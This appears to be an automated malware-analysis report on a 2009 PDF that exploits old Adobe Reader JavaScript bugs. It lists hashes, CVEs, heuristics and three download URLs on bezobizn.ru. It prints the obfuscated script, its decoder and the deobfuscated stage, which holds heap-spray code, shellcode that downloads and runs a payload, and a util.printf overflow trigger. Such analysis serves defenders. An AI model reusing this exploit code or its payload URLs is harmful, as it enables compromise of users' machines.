Malicious PDF — malware analysis report

Static analysis result for SHA-256 7873c68de4fd18b0…

MALICIOUS

PDF

7.9 KB Created: 2009-09-22 19:46:33 Authoring application: Eblasha 4.5.10.1 (via PDF Library 2.1.4.2) First seen: 2015-09-16
MD5: 4628cc0e13ec57d40726c415860c3b71 SHA-1: 07e87e5bd4756294d01fbba8809c4960b3300c40 SHA-256: 7873c68de4fd18b022d0a10478f0624e18c04d60d39eed9fa366767a496e391b
546 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript clearly indicates an intent to download and execute a second-stage payload from the URLs provided. The embedded URLs are bezobizn.ru/bir3.exe, bezobizn.ru/aijkmntwy3.exe, and bezobizn.ru/bfmopqu3.exe.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var bdhj=0, crv='';bdhj<5274;bdhj++){crv += String.fromCharCode(fra[bdhj]-'aFGHJmN'.substring(bdhj%'aFGHJmN'.length,bdhj%'aFGHJmN'.length+1).charCodeAt(0));}eval(crv);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bezobizn.ru/bir3.exe Referenced by PDF JavaScript
    • http://bezobizn.ru/aijkmntwy3.exeReferenced by PDF JavaScript
    • http://bezobizn.ru/bfmopqu3.exeReferenced by PDF JavaScript

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21096 bytes
SHA-256: da70c09e38b74c776673bacb83f504576dfc42cac4c57ef9584adb5c0c1aaa91
Preview script
First 1,000 lines of the extracted script
var fra=[199,187,181,171,190,214,189,207,102,173,177,194,204,183,213,110,192,169,188,224,190,141,178,172,182,115,232,197,201,175,179,173,114,230,175,211,185,183,118,182,210,188,200,186,175,114,124,169,186,198,180,112,195,195,206,192,212,182,114,133,195,206,192,212,182,130,197,84,230,175,211,185,183,133,195,206,192,212,182,117,187,191,207,193,213,184,176,182,177,149,126,141,178,172,182,121,159,119,156,184,172,188,191,223,188,129,191,168,186,189,221,137,222,80,173,189,184,208,194,202,181,181,104,191,225,183,205,165,183,186,179,219,194,199,110,112,195,192,206,192,129,182,168,193,182,220,175,197,131,188,182,175,224,177,194,182,172,112,108,146,195,151,122,128,120,111,226,127,153,135,120,109,191,157,126,145,118,108,189,130,175,126,145,107,188,123,122,161,126,134,187,123,120,130,175,115,214,126,137,125,126,146,195,145,122,123,120,111,226,130,145,126,137,109,191,165,144,145,122,108,189,122,161,130,145,107,188,122,122,157,146,134,187,121,120,122,157,115,214,121,139,120,122,146,195,145,118,126,139,111,226,126,145,125,126,109,191,157,127,152,122,108,189,125,160,145,148,107,188,126,126,176,126,134,187,123,120,130,175,115,214,125,127,123,122,146,195,153,136,119,139,111,226,126,164,122,119,109,191,164,126,153,136,108,189,139,177,127,164,107,188,125,130,165,144,134,187,140,138,122,165,115,214,126,137,120,131,146,195,148,122,123,120,111,226,130,145,126,139,109,191,165,144,152,137,108,189,125,176,131,153,107,188,124,126,163,143,134,187,139,121,127,174,115,214,120,137,141,124,146,195,153,136,140,122,111,226,147,163,139,138,109,191,162,143,149,140,108,189,130,160,131,147,107,188,125,128,178,143,134,187,124,125,130,166,115,214,123,125,120,126,146,195,153,136,124,127,111,226,129,164,125,122,109,191,164,130,153,136,108,189,129,165,129,148,107,188,142,125,157,129,134,187,127,138,127,163,115,214,120,119,127,128,146,195,167,121,119,123,111,226,145,154,121,122,109,191,162,126,149,127,108,189,139,177,130,146,107,188,142,144,160,129,134,187,119,142,125,163,115,214,119,123,138,143,146,195,148,126,119,123,111,226,133,149,140,121,109,191,176,127,145,126,108,189,122,177,145,167,107,188,142,139,157,129,134,187,140,138,126,157,115,214,123,127,141,144,146,195,167,126,122,138,111,226,147,150,125,124,109,191,165,144,150,139,108,189,124,161,130,151,107,188,139,125,157,129,134,187,127,138,128,163,115,214,122,127,120,141,146,195,150,124,127,138,111,226,126,148,119,138,109,191,165,144,165,121,108,189,130,174,126,149,107,188,139,125,157,129,134,187,124,141,127,179,115,214,137,122,125,122,146,195,152,138,127,140,111,226,131,152,118,127,109,191,175,134,150,120,108,189,141,174,129,148,107,188,125,140,165,143,134,187,136,122,143,165,115,214,140,141,142,144,146,195,148,120,141,142,111,226,134,163,137,119,109,191,179,128,167,125,108,189,126,179,143,166,107,188,127,127,175,134,134,187,125,125,124,178,115,214,135,137,127,130,146,195,154,126,125,126,111,226,143,163,124,125,109,191,176,126,148,121,108,189,128,158,144,153,107,188,120,122,163,130,134,187,124,120,122,157,115,214,123,123,126,130,146,195,152,120,125,128,111,226,129,150,124,124,109,191,158,145,147,122,108,189,129,161,132,154,107,188,125,126,162,126,134,187,137,128,127,160,115,214,140,138,137,139,146,195,152,137,119,140,111,226,131,150,140,141,109,191,165,144,145,122,108,189,130,160,148,153,107,188,120,141,176,130,134,187,125,139,140,157,115,214,139,119,128,139,146,195,150,118,128,128,111,226,132,167,124,127,109,191,159,147,151,139,108,189,128,165,132,149,107,188,127,124,164,131,134,187,125,140,128,176,115,214,136,127,125,126,146,195,149,139,127,141,111,226,147,164,118,140,109,191,162,131,167,140,108,189,131,160,126,149,107,188,123,125,162,126,134,187,124,120,141,157,115,214,123,125,125,122,146,195,150,123,127,138,111,226,134,148,118,123,109,191,164,148,164,120,108,189,141,159,134,148,107,188,125,124,161,145,134,187,137,128,127,157,115,214,119,136,123,128,146,195,152,118,121,142,111,226,131,150,140,141,109,191,162,144,145,122,108,189,127,163,131,152,107,188,129,130,175,134,134,187,127,137,144,178,115,214,140,141,120,143,146,195,145,122,124,125,111,226,126,145,124,136,109,191,177,133,167,140,108,189,129,161,132,153,107,188,127,122,164,130,134,187,121,142,125,174,115,214,124,121,122,144,146,195,152,135,125,125,111,226,132,147,124,141,109,191,164,143,151,127,108,189,124,178,132,166,107,188,127,127,164,128,134,187,125,122,124,179,115,214,125,121,126,131,146,195,147,139,122,123,111,226,133,153,124,124,109,191,157,126,151,123,105,113,133,227,175,211,102,181,183,186,170,195,207,171,186,171,171,221,179,137,104,108,189,122,174,126,162,107,188,120,139,157,143,134,187,119,137,122,174,115,214,118,136,120,139,143,119,107,188,168,186,106,213,179,194,182,169,180,185,208,185,158,180,182,184,117,221,175,218,178,182,169,174,168,196,194,184,103,170,179,212,176,205,181,170,179,135,226,188,198,185,170,169,186,210,118,131,107,188,120,139,157,143,134,187,119,137,122,174,112,138,129,189,169,188,141,182,198,167,171,173,188,224,183,219,171,132,122,122,168,196,194,184,103,187,186,223,175,218,131,175,173,171,209,179,211,185,176,194,175,152,182,198,167,183,170,182,220,177,204,116,179,173,184,212,194,201,129,190,176,179,217,179,137,168,176,175,172,217,189,196,177,117,180,175,219,181,213,174,131,187,186,223,175,218,111,194,170,179,212,176,205,181,170,179,117,170,176,202,173,169,180,185,208,185,156,195,81,190,171,223,110,199,175,179,180,172,217,189,196,177,132,170,179,212,176,205,181,170,179,120,224,195,195,185,187,186,179,219,181,137,118,115,187,186,223,175,218,111,130,190,171,223,110,195,178,182,171,181,170,176,202,173,169,180,185,208,185,143,185,188,170,189,225,192,202,180,174,112,122,153,176,202,173,169,180,185,208,185,143,178,172,182,177,225,182,142,185,183,186,171,230,119,156,189,175,177,182,210,118,195,178,182,171,181,155,186,198,180,174,188,178,152,193,209,184,168,193,134,157,198,149,118,119,120,122,150,201,195,178,182,171,181,170,176,205,181,170,179,117,207,186,208,169,178,115,176,214,186,205,168,179,183,173,216,137,222,80,189,169,188,141,187,198,179,166,169,188,223,175,218,131,181,173,193,141,143,211,184,168,193,114,150,137,199,181,185,112,192,206,192,129,175,132,120,133,214,138,146,122,119,120,133,214,121,140,111,194,181,175,218,173,194,184,185,169,195,200,183,190,131,169,180,185,208,185,140,174,172,169,186,207,186,208,169,178,131,199,119,196,194,184,103,182,191,218,139,146,120,128,129,131,166,135,154,127,128,129,131,166,135,154,127,128,129,131,166,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,130,189,190,214,186,143,182,185,177,184,225,180,137,104,108,124,127,157,126,145,172,105,116,184,226,187,138,129,196,82,176,226,188,196,186,176,183,184,141,177,208,178,179,169,172,204,179,206,167,176,180,114,150,201,215,167,185,104,189,213,179,205,178,170,183,174,210,139,214,180,172,187,173,206,190,198,110,105,109,191,163,130,154,118,108,189,123,165,143,146,107,188,120,122,157,126,134,187,127,138,122,157,115,214,121,119,124,122,146,195,149,118,127,138,111,226,134,163,123,123,109,191,157,130,149,118,108,189,126,157,134,163,107,188,128,140,157,130,134,187,119,124,126,157,115,214,120,119,120,142,146,195,147,118,119,120,111,226,129,165,118,119,109,191,157,126,152,137,108,189,122,157,133,152,107,188,120,123,164,130,134,187,122,123,141,160,115,214,124,123,139,122,146,195,149,118,127,138,111,226,133,153,121,119,109,191,165,144,145,137,108,189,122,176,130,145,107,188,127,122,165,144,134,187,136,140,123,176,115,214,123,127,128,140,146,195,166,136,119,128,111,226,134,163,118,128,109,191,160,130,149,118,108,189,126,157,134,165,107,188,128,140,164,145,134,187,122,139,127,165,115,214,122,123,126,139,146,195,165,119,124,137,111,226,128,163,139,121,109,191,165,144,166,120,108,189,143,175,147,164,107,188,125,139,161,148,134,187,127,123,127,159,115,214,123,125,141,139,146,195,150,123,127,129,111,226,131,151,118,123,109,191,165,144,150,125,108,189,125,176,133,148,107,188,127,126,165,144,134,187,126,128,125,160,115,214,140,122,120,125,146,195,153,136,124,126,111,226,128,145,125,125,109,191,179,129,145,121,108,189,141,166,129,148,107,188,125,122,161,135,134,187,136,140,126,158,115,214,140,141,123,125,146,195,145,140,122,126,111,226,127,149,136,140,109,191,160,134,145,121,108,189,129,161,148,147,107,188,139,123,157,134,134,187,119,140,141,179,115,214,140,136,120,125,146,195,166,136,123,120,111,226,131,153,139,141,109,191,179,134,148,136,108,189,143,162,133,150,107,188,128,140,162,147,134,187,121,124,126,163,115,214,137,122,120,125,146,195,153,136,125,126,111,226,130,153,118,138,109,191,162,132,153,136,108,189,122,160,127,164,107,188,128,140,177,129,134,187,127,137,122,161,115,214,137,122,120,125,146,195,150,139,124,142,111,226,145,148,123,119,109,191,164,146,153,138,108,189,127,164,126,153,107,188,138,130,162,128,134,187,138,137,125,160,115,214,123,137,128,139,146,195,162,120,140,128,111,226,148,167,140,141,109,191,160,128,167,140,108,189,130,175,145,145,107,188,142,124,179,133,134,187,123,142,139,178,115,214,125,124,138,130,146,195,151,123,121,141,111,226,143,163,125,127,109,191,166,134,151,124,108,189,139,175,132,151,107,188,139,122,160,129,134,187,125,121,140,165,115,214,118,119,126,126,146,195,150,118,119,120,111,226,131,149,124,127,109,191,164,128,151,126,108,189,125,162,132,150,107,188,121,141,159,130,134,187,126,124,128,166,115,214,123,123,125,122,146,195,163,126,124,123,111,226,148,164,135,136,109,191,164,145,145,138,108,189,127,162,148,167,107,188,128,140,157,130,134,187,127,123,144,165,115,214,118,138,139,126,146,195,151,137,137,120,111,226,147,145,126,136,109,191,162,126,154,126,108,189,128,179,132,153,107,188,122,143,163,147,134,187,125,128,128,161,115,214,125,121,127,127,146,195,151,138,125,139,111,226,144,153,123,123,109,191,161,147,153,139,108,189,143,176,126,166,107,188,125,127,179,148,134,187,128,123,122,161,115,214,121,122,125,122,146,195,150,118,138,120,111,226,131,151,123,119,109,191,162,131,153,136,108,189,130,160,126,149,107,188,127,144,176,128,134,187,138,122,130,160,115,214,123,121,124,141,146,195,163,126,124,120,111,226,127,162,121,125,109,191,164,126,147,140,108,189,127,162,148,167,107,188,125,140,157,130,134,187,124,126,127,164,115,214,127,127,138,130,146,195,153,135,141,141,111,226,148,167,118,140,109,191,157,130,150,123,108,189,122,157,132,162,107,188,140,129,179,148,134,187,126,124,128,165,115,214,125,119,127,126,146,195,147,140,122,137,111,226,132,147,120,141,109,191,164,143,151,123,108,189,128,159,132,167,107,188,127,139,163,135,134,187,121,141,128,178,115,214,125,124,127,124,146,195,151,119,121,142,111,226,132,162,124,128,109,191,163,146,151,136,108,189,129,161,132,166,107,188,127,131,164,133,134,187,121,141,125,160,115,214,125,127,126,127,146,195,145,118,125,125,108,150,137,215,167,185,104,183,210,187,192,167,185,186,171,230,139,207,171,190,104,139,223,192,194,191,111,113,133,227,175,211,102,170,171,135,157,198,145,169,119,171,122,208,126,196,129,189,169,188,141,175,197,170,185,133,122,229,130,145,118,119,120,122,168,196,194,184,103,187,173,204,186,198,180,132,187,178,210,186,205,169,182,172,175,155,186,198,180,174,188,178,151,128,156,188,168,186,106,217,179,207,131,168,172,174,223,123,137,185,170,167,182,210,188,140,118,191,123,130,150,137,215,167,185,104,195,206,192,212,182,132,189,184,210,193,196,167,183,173,114,143,115,214,127,119,129,122,146,195,154,118,128,120,108,150,137,218,167,185,187,186,170,180,202,190,166,177,190,149,199,194,184,186,184,118,217,179,207,111,130,190,171,223,110,196,181,188,182,190,159,139,137,169,170,117,122,229,130,145,118,119,120,122,150,125,194,170,171,186,133,211,189,211,110,189,169,188,141,177,208,187,181,188,135,157,137,196,181,188,182,190,169,177,208,187,181,188,124,168,177,208,187,181,188,117,152,119,220,179,172,181,169,206,192,211,167,192,163,173,220,195,207,186,164,133,195,206,192,212,182,114,187,178,210,186,205,169,182,172,175,168,203,107,188,168,186,106,220,196,198,184,173,180,185,228,139,214,180,172,187,173,206,190,198,110,105,109,191,157,177,145,169,108,189,122,208,126,196,104,112,131,193,213,183,205,171,111,183,192,210,192,199,178,182,191,120,217,179,207,173,187,176,134,161,130,154,123,121,113,197,220,196,198,184,173,180,185,228,121,158,181,189,173,188,211,186,208,189,130,197,84,225,182,202,185,117,171,185,217,186,194,168,154,188,185,223,179,158,137,182,180,182,206,176,143,169,182,180,182,210,177,213,139,180,169,179,217,151,207,172,182,112,197,224,195,195,176,129,106,108,153,187,212,173,129,183,192,210,192,199,178,182,191,199,150,137,222,80,173,189,184,208,194,202,181,181,104,173,220,186,205,167,169,167,177,210,194,202,169,182,182,114,150,201,202,172,111,169,186,221,124,197,181,170,118,141,220,186,205,167,169,118,177,210,194,170,169,182,182,115,232,196,194,184,103,169,188,223,199,158,180,172,191,106,174,192,211,167,192,112,115,168,196,194,184,103,190,192,221,179,213,174,192,169,135,226,188,198,185,170,169,186,210,118,131,107,188,126,126,166,126,134,187,120,128,139,158,115,214,118,119,120,122,146,195,153,136,119,120,111,226,129,145,122,119,109,191,161,126,153,136,108,189,130,175,131,149,107,188,120,126,161,126,134,187,123,120,130,175,115,214,126,137,120,126,146,195,145,122,123,120,111,226,128,145,118,139,109,191,159,126,145,118,108,189,125,177,126,145,107,188,120,122,164,145,134,187,119,120,129,164,115,214,118,120,127,126,146,195,148,121,138,123,111,226,132,149,137,119,109,191,161,126,153,136,108,189,129,165,129,145,107,188,128,140,157,145,134,187,119,139,126,157,115,214,125,119,128,140,146,195,162,138,120,139,111,226,131,153,126,137,109,191,178,144,145,126,108,189,130,175,126,154,107,188,123,126,161,126,134,187,123,120,130,177,115,214,126,137,127,141,146,195,148,137,124,128,111,226,130,149,124,136,109,191,177,127,150,135,108,189,124,175,147,147,107,188,128,140,178,128,134,187,140,138,143,176,115,214,123,136,124,144,146,195,153,121,124,122,111,226,131,151,139,136,109,191,162,131,153,127,108,189,127,163,126,149,107,188,128,140,162,133,134,187,122,139,129,160,115,214,125,123,128,140,146,195,152,126,122,123,111,226,148,148,118,122,109,191,165,144,150,124,108,189,124,157,133,151,107,188,142,125,157,129,134,187,138,129,125,160,115,214,123,119,124,131,146,195,162,138,123,121,111,226,148,167,121,122,109,191,157,148,148,124,108,189,123,161,144,166,107,188,123,130,157,129,134,187,126,124,144,159,115,214,137,120,120,130,146,195,145,138,138,142,111,226,148,162,118,122,109,191,178,144,149,118,108,189,127,165,147,167,107,188,142,130,160,144,134,187,140,125,129,162,115,214,126,137,125,143,146,195,147,122,123,126,111,226,145,148,118,122,109,191,165,144,151,124,108,189,126,165,126,164,107,188,125,128,165,144,134,187,119,123,123,176,115,214,126,137,140,125,146,195,153,135,119,124,111,226,145,148,118,122,109,191,162,147,150,140,108,189,141,160,131,145,107,188,127,142,165,146,134,187,124,127,122,165,115,214,136,127,125,124,146,195,164,135,122,123,111,226,131,163,126,136,109,191,174,128,166,126,108,189,144,179,148,167,107,188,123,124,179,148,134,187,127,138,141,157,115,214,140,121,142,129,146,195,149,140,136,141,111,226,133,150,136,127,109,191,163,131,147,139,108,189,139,175,133,153,107,188,129,130,163,132,134,187,136,138,128,163,115,214,137,119,123,125,146,195,151,119,137,128,111,226,126,145,124,123,109,191,162,126,145,118,108,189,127,161,132,153,107,188,127,124,163,134,134,187,122,125,128,162,115,214,119,138,122,126,146,195,152,122,125,129,111,226,131,149,123,119,109,191,175,134,150,121,108,189,144,176,143,162,107,188,127,141,157,146,134,187,124,125,144,179,115,214,126,137,120,126,146,195,153,121,141,128,111,226,126,164,137,123,109,191,163,145,163,118,108,189,143,157,134,162,107,188,125,122,166,134,134,187,125,142,128,165,115,214,120,140,126,143,146,195,151,126,125,124,111,226,133,147,125,124,109,191,163,146,151,137,108,189,140,165,131,149,107,188,124,143,165,147,134,187,140,139,122,178,115,214,123,124,142,144,146,195,154,121,119,124,111,226,129,148,123,119,109,191,162,126,164,118,108,189,127,163,131,145,107,188,125,127,165,144,134,187,127,123,122,161,115,214,125,141,139,124,146,195,164,120,127,123,111,226,131,147,122,138,109,191,175,134,150,118,108,189,123,174,129,151,107,188,127,122,159,148,134,187,124,125,144,179,115,214,123,137,120,126,146,195,150,124,124,127,111,226,135,153,136,127,109,191,165,143,167,139,108,189,144,179,126,166,107,188,120,126,162,131,134,187,119,120,128,174,115,214,138,126,142,144,146,195,152,122,125,128,111,226,133,145,125,123,109,191,159,148,148,135,108,189,128,159,128,167,107,188,127,139,163,131,134,187,125,122,128,179,115,214,125,136,126,131,146,195,147,139,125,141,111,226,133,150,125,121,109,191,163,128,147,140,108,189,128,177,132,151,107,188,127,122,163,148,134,187,126,125,129,158,115,214,120,140,123,125,146,195,152,126,125,125,111,226,126,145,124,124,106,115,168,196,194,184,103,176,161,222,131,145,118,138,150,135,227,196,209,171,187,176,195,206,124,205,171,181,175,190,213,120,147,129,189,169,188,141,186,198,180,132,120,194,161,126,145,118,119,120,119,149,182,184,183,124,120,122,176,156,140,118,191,123,130,150,137,215,167,185,104,195,206,192,212,182,132,189,184,210,193,196,167,183,173,114,143,115,214,127,119,129,122,146,195,154,118,128,120,108,150,137,218,167,185,187,186,170,180,202,190,166,177,190,149,199,194,184,186,184,118,217,179,207,111,130,190,171,223,110,209,123,136,178,149,163,131,199,131,111,120,194,157,177,145,169,119,171,122,208,123,145,190,123,120,122,157,126,145,111,118,120,194,161,126,145,118,119,120,133,211,189,211,110,189,169,188,141,196,210,169,152,140,131,163,199,158,118,130,190,187,208,159,165,127,125,193,134,221,131,162,176,146,126,127,211,137,215,183,170,153,142,166,132,218,113,114,113,197,206,192,211,191,162,190,187,208,159,165,127,125,193,167,170,199,194,184,186,184,117,227,196,209,171,187,176,195,206,137,222,80,189,169,188,141,194,182,147,175,150,172,180,197,158,187,181,173,189,208,175,209,171,111,106,111,157,135,131,111,130,191,178,214,186,198,110,187,157,151,213,156,195,141,190,118,182,210,188,200,186,175,132,122,229,130,145,118,119,113,197,225,163,174,174,149,170,145,228,121,158,186,156,149,178,187,176,168,189,130,197,84,225,163,174,174,149,170,145,228,139,131,148,117,106,117,225,163,174,174,149,170,145,228,137,194,182,183,118,174,220,177,143,137,182,180,182,206,176,143,173,172,188,147,208,189,207,110,187,157,151,213,156,195,141,190,113,133,234,203,107,172,188,182,173,225,183,208,180,103,184,174,211,173,212,186,168,186,190,149,119,220,188,168,186,106,227,179,211,185,176,183,184,170,175,209,182,117,190,179,210,197,198,184,157,173,188,224,183,208,180,117,188,185,192,194,211,175,181,175,114,150,137,215,171,185,187,179,220,188,158,188,172,186,189,214,189,207,116,185,173,186,217,175,196,171,111,119,166,177,125,200,114,110,111,115,168,196,194,184,103,190,171,223,193,202,181,181,167,171,223,192,194,191,132,182,175,228,110,162,184,185,169,195,149,196,198,184,186,177,185,219,124,196,174,168,186,139,225,118,145,111,115,190,175,223,193,202,181,181,118,173,213,175,211,135,187,112,123,150,122,215,171,185,187,179,220,188,143,169,175,169,188,174,194,137,120,112,113,133,214,180,137,110,189,169,188,224,183,208,180,166,169,188,223,175,218,161,119,165,135,170,134,138,108,109,112,192,206,192,212,175,182,182,169,206,192,211,167,192,163,123,202,139,158,118,112,196,198,149,196,194,184,186,177,185,219,173,194,184,185,169,195,200,127,190,131,132,121,112,147,196,194,184,186,177,185,219,173,194,184,185,169,195,200,128,190,130,122,113,115,232,195,213,175,179,167,186,223,183,207,186,173,112,115,168,203,107,175,173,112,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,157,171,157,126,112,196,198,149,196,194,184,186,177,185,219,173,194,184,185,169,195,200,126,190,131,132,128,112,147,196,194,184,186,177,185,219,173,194,184,185,169,195,200,127,190,130,121,110,112,227,175,211,185,176,183,184,204,175,211,184,168,193,165,159,171,157,120,112,113,197,208,189,205,178,168,170,169,210,187,194,175,179,112,115,168,203,107,175,173,112,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,157,171,157,127,112,196,198,149,196,194,184,186,177,185,219,173,194,184,185,169,195,200,126,190,131,132,129,112,147,196,194,184,186,177,185,219,173,194,184,185,169,195,200,127,190,130,120,113,115,232,177,208,178,179,169,172,204,181,198,186,176,171,185,219,118,138,129,196,197,84,221,178,199,165,186,188,171,223,194,137,111,130];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1B7C 172 bytes
SHA-256: fe5213ad03acbd5122b7dc2585888cb51b35ecdb2036bf88456ca088f688f245
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var bdhj=0, crv='';bdhj<5274;bdhj++){crv += String.fromCharCode(fra[bdhj]-'aFGHJmN'.substring(bdhj%'aFGHJmN'.length,bdhj%'aFGHJmN'.length+1).charCodeAt(0));}eval(crv);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5274 bytes
SHA-256: 33ffa1d66c385d45b58b582be0a051b53ec298d56a286392a3968e347954d960
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u7269%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
